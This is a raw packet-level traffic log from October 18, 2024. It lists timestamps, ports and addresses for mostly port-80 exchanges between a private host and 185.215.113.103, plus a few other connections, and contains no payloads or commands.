Oct 18, 2024 15:04:55.101562977 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.101581097 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.101589918 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.101589918 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.101622105 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.101758003 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.101774931 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.101790905 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.101807117 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.101823092 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.101840019 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.101882935 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.101882935 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.101882935 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.102103949 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.102121115 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.102135897 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.102149963 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.102150917 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.102166891 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.102180958 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.102195978 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.102200985 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.102211952 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.102227926 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.102242947 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.102257967 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.102273941 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.102279902 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.102279902 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.102279902 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.102291107 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.102308035 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.102350950 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.102456093 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.102471113 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.102487087 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.102497101 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.102497101 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.102567911 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.102821112 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.102896929 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.102912903 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.102962971 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.102976084 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.102979898 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.102998018 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.103013992 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.103024006 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.103097916 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.103116035 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.103132963 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.103146076 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.103146076 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.103147030 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.103195906 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.151401043 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.160870075 CEST	80	50044	185.215.113.37	192.168.2.4
Oct 18, 2024 15:04:55.160923004 CEST	50044	80	192.168.2.4	185.215.113.37
Oct 18, 2024 15:04:55.206454039 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.427519083 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.427577019 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.427706957 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.427722931 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.427741051 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.427779913 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.427803993 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.427819014 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.427835941 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.427851915 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.427872896 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.427887917 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.427918911 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.427918911 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.427918911 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.427927971 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.427946091 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.427963972 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.428011894 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.428011894 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.428149939 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.428165913 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.428181887 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.428199053 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.428215027 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.428230047 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.428246021 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.428257942 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.428257942 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.428262949 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.428281069 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.428297043 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.428299904 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.428299904 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.428400040 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.428430080 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.428445101 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.428461075 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.428477049 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.428494930 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.428512096 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.428527117 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.428541899 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.428548098 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.428548098 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.428556919 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.428559065 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.428622007 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.428786039 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.428802013 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.428817034 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.428834915 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.428852081 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.428872108 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.428872108 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.428878069 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.428894043 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.428903103 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.428909063 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.428925991 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.428940058 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.428956032 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.428972006 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.428981066 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.428981066 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.428987026 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.429001093 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.429004908 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.429020882 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.429039001 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.429054976 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.429069996 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.429085970 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.429094076 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.429094076 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.429094076 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.429101944 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.429119110 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.429142952 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.429148912 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.429157972 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.429173946 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.429188967 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.429189920 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.429208040 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.429223061 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.429270029 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.429495096 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.429510117 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.429523945 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.429541111 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.429558039 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.429573059 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.429588079 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.429590940 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.429590940 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.429613113 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.429627895 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.429627895 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.429627895 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.429644108 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.429661036 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.429676056 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.429692030 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.429707050 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.429729939 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.429730892 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.429730892 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.429730892 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.429747105 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.429763079 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.429778099 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.429778099 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.429794073 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.429810047 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.429826021 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.429826975 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.429838896 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.429877996 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.430048943 CEST	443	50045	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:55.430151939 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.430166006 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.430182934 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.430187941 CEST	50045	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:55.430198908 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.430212975 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.430229902 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.430246115 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.430260897 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.430269003 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.430269003 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.430310965 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.430325031 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.430345058 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.430372000 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.430387020 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.430409908 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.430413961 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.430413961 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.430413961 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.430427074 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.430442095 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.430457115 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.430474043 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.430500984 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.430505037 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.430516958 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.430531979 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.430535078 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.430550098 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.430566072 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.430582047 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.430589914 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.430589914 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.430598974 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.430614948 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.430632114 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.430634022 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.430649996 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.430665970 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.430681944 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.430697918 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.430701971 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.430701971 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.430713892 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.430763960 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.430763960 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.430985928 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.431004047 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.431065083 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.431145906 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.431162119 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.431176901 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.431190968 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.431207895 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.431210995 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.431224108 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.431240082 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.431252956 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.431255102 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.431271076 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.431291103 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.431314945 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.431314945 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.431315899 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.431333065 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.431349039 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.431358099 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.431365013 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.431380987 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.431405067 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.431418896 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.431433916 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.431442022 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.431449890 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.431457043 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.431457043 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.431467056 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.431479931 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.431488037 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.431505919 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.431521893 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.431536913 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.431552887 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.431570053 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.431576967 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.431576967 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.431576967 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.431586027 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.431602955 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.431617975 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.431633949 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.431651115 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.431651115 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.431679010 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.431943893 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.431961060 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.432020903 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.432106018 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.432121992 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.432137966 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.432152987 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.432168007 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.432183027 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.432198048 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.432202101 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.432202101 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.432213068 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.432229996 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.432244062 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.432246923 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.432267904 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.432271957 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.432290077 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.432305098 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.432322979 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.432337046 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.432341099 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.432341099 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.432353973 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.432370901 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.432387114 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.432400942 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.432401896 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.432401896 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.432418108 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.432434082 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.432449102 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.432463884 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.432476997 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.432476997 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.432481050 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.432492018 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.432497025 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.432513952 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.432528019 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.432542086 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.432543039 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.432560921 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.432576895 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.432588100 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.432588100 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.432636023 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.433121920 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.433161020 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.433176041 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.433192015 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.433207989 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.433208942 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:55.433232069 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.433247089 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.433263063 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:55.433265924 CEST	50042	80	192.168.2.4	185.215.113.103
